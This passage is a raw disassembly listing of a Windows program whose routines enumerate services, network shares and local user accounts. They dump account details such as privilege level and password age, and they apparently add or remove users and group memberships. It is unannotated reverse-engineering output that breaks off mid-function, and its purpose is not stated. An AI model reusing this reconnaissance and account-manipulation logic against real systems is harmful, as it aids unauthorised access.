mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_40D8EA jz loc_40D8E3 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_40D8AD jz short loc_40D8A3 mov ecx, eax sub ecx, 3 jz short loc_40D899 dec ecx dec ecx jz short loc_40D88F dec ecx jz short loc_40D885 sub ecx, 51h jz short loc_40D87B sub ecx, 24h jnz loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D87B: ; CODE XREF: sub_40D835+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D885: ; CODE XREF: sub_40D835+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D88F: ; CODE XREF: sub_40D835+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D899: ; CODE XREF: sub_40D835+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8A3: ; CODE XREF: sub_40D835+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8AD: ; CODE XREF: sub_40D835+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_40D8DC dec ecx jz short loc_40D8D5 dec ecx jz short loc_40D8CE dec ecx jnz loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8CE: ; CODE XREF: sub_40D835+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8D5: ; CODE XREF: sub_40D835+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8DC: ; CODE XREF: sub_40D835+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8E3: ; CODE XREF: sub_40D835+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8EA: ; CODE XREF: sub_40D835+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 jz short loc_40D94D lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_40D9A1[ecx] jmp off_40D979[ecx*4] ; switch jump loc_40D90E: ; DATA XREF: ___:off_40D979o push offset aTheSpecifiedDa ; jumptable 0040D907 case 7 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D915: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceDepe ; jumptable 0040D907 case 17 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D91C: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceDe_0 ; jumptable 0040D907 case 10 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D923: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHasB ; jumptable 0040D907 case 0 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D92A: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheSpecified_0 ; jumptable 0040D907 case 2 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D931: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceCoul ; jumptable 0040D907 case 11 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D938: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHa_0 ; jumptable 0040D907 case 14 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D93F: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheRequested_1 ; jumptable 0040D907 case 3 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D946: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHasN ; jumptable 0040D907 case 4 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D94D: ; CODE XREF: sub_40D835+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_40D952: ; CODE XREF: sub_40D835+41j ; sub_40D835+4Bj ... push offset dword_43F1A8 call sub_4172B0 pop ecx pop ecx jmp short loc_40D973 ; --------------------------------------------------------------------------- loc_40D960: ; CODE XREF: sub_40D835+36j ; sub_40D835+89j ... push eax ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>" push offset dword_43F1A8 call sub_4172B0 add esp, 0Ch loc_40D973: ; CODE XREF: sub_40D835+129j mov eax, offset dword_43F1A8 retn sub_40D835 endp ; --------------------------------------------------------------------------- off_40D979 dd offset loc_40D923 ; DATA XREF: sub_40D835+D2r dd offset loc_40D92A ; jump table for switch statement dd offset loc_40D93F dd offset loc_40D946 dd offset loc_40D90E dd offset loc_40D91C dd offset loc_40D931 dd offset loc_40D938 dd offset loc_40D915 dd offset loc_40D960 byte_40D9A1 db 0, 9, 1, 2 ; DATA XREF: sub_40D835+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D9B3 proc near ; CODE XREF: sub_40EE72+2094p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_43AD8C push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_40D9EB: ; CODE XREF: sub_40D9B3+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_43AD58 test eax, eax jnz short loc_40DA25 call near ptr 2670ADCh nop cmp eax, 0EAh jnz loc_40DAD9 loc_40DA25: ; CODE XREF: sub_40D9B3+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_40DAD0 lea esi, [ebp+var_188] loc_40DA36: ; CODE XREF: sub_40D9B3+117j mov eax, [esi+8] dec eax jz short loc_40DA7F dec eax jz short loc_40DA78 dec eax jz short loc_40DA71 dec eax jz short loc_40DA6A dec eax jz short loc_40DA63 dec eax jz short loc_40DA5C dec eax jz short loc_40DA55 push offset aUnknown_0 ; " Unknown" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA55: ; CODE XREF: sub_40D9B3+99j push offset aPaused_0 ; " Paused" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA5C: ; CODE XREF: sub_40D9B3+96j push offset aPausing ; " Pausing" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA63: ; CODE XREF: sub_40D9B3+93j push offset aContinuing ; " Continuing" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA6A: ; CODE XREF: sub_40D9B3+90j push offset aRunning ; " Running" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA71: ; CODE XREF: sub_40D9B3+8Dj push offset aStoping ; " Stoping" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA78: ; CODE XREF: sub_40D9B3+8Aj push offset aStarting ; " Starting" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA7F: ; CODE XREF: sub_40D9B3+87j push offset aStopped ; " Stopped" loc_40DA84: ; CODE XREF: sub_40D9B3+A0j ; sub_40D9B3+A7j ... lea eax, [ebp+var_20] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_4172B0 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_40DA36 loc_40DAD0: ; CODE XREF: sub_40D9B3+77j cmp [ebp+var_8], ebx jnz loc_40D9EB loc_40DAD9: ; CODE XREF: sub_40D9B3+6Cj push [ebp+var_C] call dword_43AC9C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_40D9B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DAF0 proc near ; CODE XREF: sub_40EE72:loc_410FB4p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_40DB8A mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_40DB19 dec eax jnz short loc_40DB6A push edi push 0 call sub_40DCC3 pop ecx pop ecx jmp short loc_40DB66 ; --------------------------------------------------------------------------- loc_40DB19: ; CODE XREF: sub_40DAF0+18j cmp [ebp+arg_8], 0 jnz short loc_40DB58 push 24h push edi call sub_418F50 pop ecx test eax, eax pop ecx jnz short loc_40DB58 push 57h pop eax loc_40DB30: ; CODE XREF: sub_40DAF0+78j push eax call sub_40E4B7 pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_43F464 push off_42E7A0[eax*4] push offset dword_42EE98 push esi call sub_4172B0 add esp, 14h jmp short loc_40DBAA ; --------------------------------------------------------------------------- loc_40DB58: ; CODE XREF: sub_40DAF0+2Dj ; sub_40DAF0+3Bj push [ebp+arg_8] push edi push 0 call sub_40DC17 add esp, 0Ch loc_40DB66: ; CODE XREF: sub_40DAF0+27j test eax, eax jnz short loc_40DB30 loc_40DB6A: ; CODE XREF: sub_40DAF0+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_43F464 push off_42E7A4[eax*4] push offset dword_42EE6C push esi call sub_4172B0 add esp, 10h jmp short loc_40DBAA ; --------------------------------------------------------------------------- loc_40DB8A: ; CODE XREF: sub_40DAF0+Aj mov eax, [ebp+arg_0] mov esi, offset dword_43F464 lea eax, [eax+eax*2] push off_42E7A0[eax*4] push offset dword_42EE38 push esi call sub_4172B0 add esp, 0Ch loc_40DBAA: ; CODE XREF: sub_40DAF0+66j ; sub_40DAF0+98j mov eax, esi pop edi pop esi pop ebp retn sub_40DAF0 endp ; =============== S U B R O U T I N E ======================================= sub_40DBB0 proc near ; CODE XREF: sub_415F88+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_40DBBD xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40DBBD: ; CODE XREF: sub_40DBB0+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_424150 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_43F664, 1 mov ebp, eax jnz short loc_40DBFA or byte_43F664, 1 lea eax, [ebp+1] push eax call sub_4185F5 pop ecx mov dword_43F404, eax loc_40DBFA: ; CODE XREF: sub_40DBB0+32j push esi push esi push ebp push dword_43F404 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_43F404 pop edi pop ebp pop ebx pop esi retn sub_40DBB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC17 proc near ; CODE XREF: sub_40DAF0+6Ep ; sub_4162AC+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov edi, eax call sub_40DC82 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_418F50 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_40DC82 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_43AC98 pop edi leave retn sub_40DC17 endp ; =============== S U B R O U T I N E ======================================= sub_40DC82 proc near ; CODE XREF: sub_40DC17+Ap ; sub_40DC17+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_40DC8F pop ebp retn ; --------------------------------------------------------------------------- loc_40DC8F: ; CODE XREF: sub_40DC82+9j push ebx push esi mov esi, dword_424070 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_4185F5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_40DC82 endp ; =============== S U B R O U T I N E ======================================= sub_40DCC3 proc near ; CODE XREF: sub_40DAF0+20p ; sub_415F88+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40DC82 push [esp+8+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx push 0 push eax push esi call dword_43AC70 pop esi retn sub_40DCC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCE6 proc near ; CODE XREF: sub_40EE72+2169p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_40DC82 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 18h loc_40DD1F: ; CODE XREF: sub_40DCE6+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_43ACE4 mov ebx, eax cmp ebx, esi jz short loc_40DD82 cmp ebx, 0EAh jz short loc_40DD82 push ebx push ebx call sub_40E4B7 pop ecx push eax lea eax, [ebp+var_210] push offset dword_42EEF4 push eax call sub_4172B0 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 24h jmp short loc_40DDEF ; --------------------------------------------------------------------------- loc_40DD82: ; CODE XREF: sub_40DCE6+5Dj ; sub_40DCE6+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_40DDE6 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_40DD90: ; CODE XREF: sub_40DCE6+FCj push dword ptr [esi+10h] call dword_43AC8C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_40DDA7 mov eax, offset aNo ; "No" loc_40DDA7: ; CODE XREF: sub_40DCE6+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_40DD90 xor esi, esi loc_40DDE6: ; CODE XREF: sub_40DCE6+A2j push [ebp+var_4] call dword_43AE28 loc_40DDEF: ; CODE XREF: sub_40DCE6+9Aj cmp ebx, 0EAh jz loc_40DD1F xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_40DCE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DE07 proc near ; CODE XREF: sub_40EE72:loc_411047p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_40DEAC mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_40DE49 dec eax jz short loc_40DE3E dec eax jnz short loc_40DE64 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_40DF4E add esp, 14h jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE3E: ; CODE XREF: sub_40DE07+1Dj push ebx push edi call sub_40DF2D pop ecx pop ecx jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE49: ; CODE XREF: sub_40DE07+1Aj cmp [ebp+arg_8], edi jz short loc_40DE5D push [ebp+arg_8] push ebx push edi call sub_40DED3 add esp, 0Ch jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE5D: ; CODE XREF: sub_40DE07+45j push 57h pop eax loc_40DE60: ; CODE XREF: sub_40DE07+35j ; sub_40DE07+40j ... cmp eax, edi jnz short loc_40DE84 loc_40DE64: ; CODE XREF: sub_40DE07+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_43F668 push off_42E7A4[eax*4] push offset dword_42EFD8 push esi call sub_4172B0 add esp, 10h jmp short loc_40DECC ; --------------------------------------------------------------------------- loc_40DE84: ; CODE XREF: sub_40DE07+5Bj push eax call sub_40E4B7 pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_43F668 push off_42E7A0[eax*4] push offset dword_42EF9C push esi call sub_4172B0 add esp, 14h jmp short loc_40DECC ; --------------------------------------------------------------------------- loc_40DEAC: ; CODE XREF: sub_40DE07+Dj mov eax, [ebp+arg_0] mov esi, offset dword_43F668 lea eax, [eax+eax*2] push off_42E7A0[eax*4] push offset dword_42EF64 push esi call sub_4172B0 add esp, 0Ch loc_40DECC: ; CODE XREF: sub_40DE07+7Bj ; sub_40DE07+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_40DE07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DED3 proc near ; CODE XREF: sub_40DE07+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov edi, eax call sub_40DC82 push [ebp+arg_8] mov [ebp+var_24], eax call sub_40DC82 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_43AC7C pop edi leave retn sub_40DED3 endp ; =============== S U B R O U T I N E ======================================= sub_40DF2D proc near ; CODE XREF: sub_40DE07+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40DC82 push [esp+8+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx push eax push esi call dword_43AC6C pop esi retn sub_40DF2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DF4E proc near ; CODE XREF: sub_40DE07+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_43ADF0 test eax, eax mov [ebp+arg_0], eax jnz loc_40E2F6 mov eax, [ebp+var_4] test eax, eax jz loc_40E331 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_4172B0 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_40E06D dec eax jz short loc_40E066 dec eax jz short loc_40E05F mov eax, offset aUnknown ; "Unknown" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E05F: ; CODE XREF: sub_40DF4E+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E066: ; CODE XREF: sub_40DF4E+105j mov eax, offset aUser_0 ; "User" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E06D: ; CODE XREF: sub_40DF4E+102j mov eax, offset aGuest ; "Guest" loc_40E072: ; CODE XREF: sub_40DF4E+10Fj ; sub_40DF4E+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_4172B0 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 add esp, 20h pop edi pop ebx jmp short loc_40E322 ; --------------------------------------------------------------------------- loc_40E2F6: ; CODE XREF: sub_40DF4E+35j push eax lea eax, [ebp+var_204] push offset dword_42F008 push eax call sub_4172B0 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40D679 add esp, 20h loc_40E322: ; CODE XREF: sub_40DF4E+3A6j cmp [ebp+var_4], 0 jz short loc_40E331 push [ebp+var_4] call dword_43AE28 loc_40E331: ; CODE XREF: sub_40DF4E+40j ; sub_40DF4E+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_40DF4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E337 proc near ; CODE XREF: sub_40EE72+21F2p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_40DC82 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 18h loc_40E376: ; CODE XREF: sub_40E337+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_43AD00 cmp eax, esi mov [ebp+var_C], eax jz short loc_40E3D7 cmp eax, 0EAh jz short loc_40E3D7 push eax push eax call sub_40E4B7 pop ecx push eax lea eax, [ebp+var_218] push offset dword_42F218 push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 24h jmp short loc_40E452 ; --------------------------------------------------------------------------- loc_40E3D7: ; CODE XREF: sub_40E337+62j ; sub_40E337+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_40E465 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_40E452 loc_40E3E9: ; CODE XREF: sub_40E337+EDj cmp edi, esi jz short loc_40E428 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_40E3E9 jmp short loc_40E452 ; --------------------------------------------------------------------------- loc_40E428: ; CODE XREF: sub_40E337+B4j lea eax, [ebp+var_218] push offset dword_42F1D4 push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 1Ch loc_40E452: ; CODE XREF: sub_40E337+9Ej ; 